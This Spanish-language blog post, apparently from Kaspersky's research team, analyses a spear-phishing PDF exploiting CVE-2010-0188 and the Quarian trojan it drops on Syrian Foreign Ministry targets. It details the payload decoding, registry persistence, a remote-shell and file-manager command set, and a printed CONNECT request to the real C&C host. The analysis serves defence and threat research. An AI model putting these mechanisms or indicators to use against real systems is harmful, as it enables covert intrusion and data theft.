Un ataque dirigido contra el Ministerio de Relaciones Exteriores de Siria
GReAT
Kaspersky Lab Expert
Posted November 30, 13:55 GMT
0.3
Hace varios días, se publicó en “Par:AnoIA, un nuevo sitio web parecido a WikiLeaks gestionado por el grupo de hackers Anonymous, unos documentos filtrados del “Ministerio de Relaciones Exteriores de Siria”.
Uno de nuestros usuarios nos alertó sobre un documento sospechoso en el paquete de archivos comprimidos, que nuestros productos antimalware detectan como Exploit.JS.Pdfka.ffw. También tuvo la gentileza de enviarnos una copia del correo electrónico para que lo analizáramos.
Revisamos el correo, que contiene un archivo PDF con un exploit (CVE-2010-0188, ver http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0188 ), un típico ataque de fraude dirigido, o “spear phishing”:
Si confiamos en los encabezados SMTP, se puede ver que el correo se envió desde la IP 123.140.57.166, que es un proxy en Seúl, Corea.
Detalles técnicos – “964.PDF”
El correo tiene un archivo PDF llamado “964.PDF” , que pesa 569.477 bytes. Este PDF contiene un exploit (CVE-2010-0188) para versiones de Adobe Reader 8.x anteriores a 8.2.1 y para 9.x anteriores a 9.3.1.
Probamos el exploit en Adobe Reader 9.2.0 y Adobe 9.3.0 y funcionó. El PDF tiene un Javascript incrustado que explota la vulnerabilidad y pasa la ejecución al shellcode.
Cuando se ejecuta el shellcode, hace un análisis sintáctico de la línea de comandos del proceso actual (Adobe Reader), omite la primera subcadena que está entre comillas dobles y extrae la segunda subcadena en comillas dobles. Se asume que esta es una ruta completa hacia el documento PDF fuente.
Después, copia el PDF fuente a “%TEMP%1.dat” y lee el archivo “1.dat”. Lee 0x8A218 bytes (este valor está incrustado en el código fuente, o “hardcoded”) desde offset 0xD98 (también está “hardcoded”). Este nuevo bloque de datos comienza desde una carga explosiva guardada en DWORD con valor 0xCF00. La primera parte de la carga explosiva se decodifica con un simple ROL+XOR (dependiente de la posición).
El archivo decodificado se guarda en “%TEMP%explorer.exe” y se ejecuta. Después, se decodifica la segunda parte de la carga explosiva. Ésta contiene un documento PDF “falso”. Se deposita en “%TEMP%964.PDF” (el nombre del archivo está integrado en el malware). Después, el shellcode genera un nuevo proceso de Adobe Reader para abrir el archivo PDF depositado, elimina “%TEMP%1.dat” y termina el proceso actual.
Si el proceso funciona sin problemas, se entrega al usuario un archivo que parece un documento PDF legítimo que, después de todo, es lo que uno espera ver después de pulsar el icono de un archivo PDF.
Captura de pantalla que muestra el archivo PDF “falso” que se muestra cuando el exploit se ejecuta con éxito. Se descubrió al analizar un correo electrónico que nos envió un usuario de Kaspersky Lab. Este correo aparecía originalmente entre los datos publicados en el sitio web Par:AnoIA.
Los productos Kaspersky Lab detectan el exploit PDF que se usó en este ataque como “Exploit.JS.Pdfka.ffw” . Es una detección muy específica, e hizo posible que rastreáramos su uso durante 2011 y 2012. Este es un mapa de detecciones del año pasado:
Y la distribución por países:
Como puedes ver, hay muy pocos incidentes, lo que indica que este es un ataque muy dirigido.
Nuestro análisis descubrió otros archivos PDF similares (con el mismo exploit) que se usaron contra los defensores del Tíbet en 2012.
Malware propagado
Los productos Kaspersky Lab detectan al malware que descarga el exploit PDF como “Trojan-PSW.Win32.Quarian.j” .
Si hacemos caso a la fecha en el encabezado del PE, es del 30 de noviembre de 2011, pocos días antes de que se realizara el ataque:
La aplicación se desarrolló con Microsoft Visual C++ 6.0. Cuando se comienza a ejecutar, el malware instala el módulo actual en el sistema Autorun usando el siguiente valor de registro: HKCUSOFTWAREMicrosoftWindowsCurrentVersionRunalg = %Path to Self%
También crea un mutex llamado “windowsupdataguoDL” para asegurarse de que exista una sola instancia de aplicaciones actuales. Si no logra crear el mutex y el último error es ERROR_ALREADY_EXISTS, detiene la ejecución de inmediato.
El malware también trata de leer los primeros 4 bytes del archivo llamado “cf” (en el directorio actual). Estos 4 bytes son el valor DWORD de la demora entre los intentos para conectarse con el servidor de Comando y Control (C&C).
Después decodifica la dirección el servidor C&C que está dentro del malware usando un simple portal XOR (con posición y valor 0x44) y comienza un nuevo hilo de comunicación con el C&C.
El malware consigue las preferencias de usuario actuales de la llave de registro “HKCUSOFTWAREMicrosoftWindowsCurrentVersionInternet Settings” usando valores ProxyEnable, User Agent, ProxyServer. También trata de traer las últimas preferencias del proxy desde las configuraciones de Firefox haciendo un análisis sintáctico del archivo %APPDATA%MozillaFireFoxProfilesprefs.js y extrayendo los siguientes valores:
network.proxy.type
network.proxy.http
network.proxy.http_port
Es interesante que las siguientes preferencias alternativas del proxy están integradas en el malware:
Proxy host: 192.168.1.104
Proxy port: 3128
C&C host: 127.0.0.1
C&C port: 443
Estas son seguramente las configuraciones locales que el desarrollador puso, para su propia comodidad, durante la etapa de prueba del malware, salvo que los atacantes ya supieran algo sobre la infraestructura de la víctima.
Según los datos incluidos decodificados, el C&C de la muestra actual está ubicado en “sureshreddy1.dns05.com”, en el puerto 443 (HTTPs).
Si aparece una respuesta HTTP 407 (Se requiere autorización), revisa Windows Protected Storage para buscar las contraseñas guardadas para los proxy actuales. Para comunicarse con el C&C, el malware utiliza un protocolo predeterminado y una codificación XOR de incrementación de un sólo byte. La comunicación comienza con una negociación que consiste en 8 bytes aleatorios que se envían al servidor y 8 bytes de respuesta. En el caso de un proxy, establece una conexión mediante el método HTTP CONNECT. Si se requiere autorización, el malware utiliza el nombre de usuario y contraseña del proxy actual y trata de lograr una autentificación básica de proxy.
Abajo se puede ver un ejemplo de una solicitud que envió el malware a un proxy local:
CONNECT sureshreddy1.dns05.com:443 HTTP/1.0
User-Agent: Mozilla/4.0
Host: sureshreddy1.dns05.com
Content_length: 0
Proxy-Connetion: Keep-Alive
Pragma: no-cache
Fíjate que hay un error en el encabezado que dice “Proxy-Connetion” (debería decir “Proxy-Connection”), así que es probable que no mantenga las conexiones a largo plazo cuando funcione mediante un servidor proxy.
Después, el malware espera una respuesta del servidor (usando una conexión TCP en el modo Keep Alive). Espera por lo menos 1 byte de los siguientes valores que corresponden a los comandos:
0x1: Identificación del sistema
Versión actual de Windows (Número de la versión, Service Pack, ID de la plataforma)
Nombre del anfitrión del sistema y dirección IP
Nombre de usuario
Nivel de privilegio del usuario (Guest/User/Admin) del Controlador de Dominio local
0x4: Ejecutar el actualizador
Sólo ejecuta “updater.exe” del directorio actual.
0x5: Desactivar Autorun
Elimina la entrada “alg” de HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun.
0x6: “Shell” interactiva
Crea un nuevo hilo y se conecta con el C&C en una sesión aparte, siguiendo los mismos procedimientos que se han descrito arriba. Copia %WINDIR%system32cmd.exe a %WINDIR%alg.exe y comienza un nuevo proceso desde cualquiera de estas rutas. El atacante puede trabajar de forma interactiva con cmd.exe, todo lo que escribe está codificado y se envía al malware mediante un servidor C&C, todo lo que envía cmd.exe se codifica y se envía al C&C al instante.
0x7: Gestor de archivos
Crea un nuevo hilo que establece una conexión adicional con el C&C y provee su propio grupo de operaciones, que incluye:
- Conseguir el listado del directorio
- Mover los archivos
- Descargar archivos del sistema del atacante a un sistema local
- Subir archivos del sistema del atacante a un sistema local
- Ejecutar el archivo de aplicación
- Eliminar el archivo
0x16: Cambiar la demora de la conexión
Este comando se utiliza para cambiar el valor en el archivo “cf” y alterar el intervalo entre las conexiones al servidor C&C.
El nombre del servidor de comando y control resulta en 123.120.111.163 , que está en China:
Cuando escribimos esto, el C&C del servidor 123.120.11.163 no respondió a los intentos de conexión del puerto 443, pero al día siguiente, cuando seguíamos trabajando este informe, la resolución cambió a 123.120.110.126 (la misma ISP), que está activa y responde en el puerto 443. Dejamos que el equipo infectado se conecte al de un alojamiento desde una dirección IP en India, pero hasta ahora nadie ha dado ninguna orden. El malware se mantuvo en estado de espera por varias horas.
Conclusiones
Los ataques dirigidos como este son muy comunes para los gobiernos e instituciones gubernamentales. Aunque las víctimas pocas veces comparten los ejemplares, vale la pena destacar que los datos filtrados también pueden revelar mucha información sobre el ataque, de forma directa o indirecta.
La mayor parte del malware que se usó en los ataques es bastante simplista y tiene funciones básicas para conectarse de nuevo al C&C para descargar componentes adicionales. Una vez que los atacantes se han organizado, utilizan herramientas de aumento de privilegios para hacer un movimiento más lateral dentro de la red, y herramientas especiales para robar datos y filtrarlos.
Seguimos analizando estos ataques muy dirigidos y publicaremos más actualizaciones.
Un ataque dirigido contra el Ministerio de Relaciones Exteriores de Siria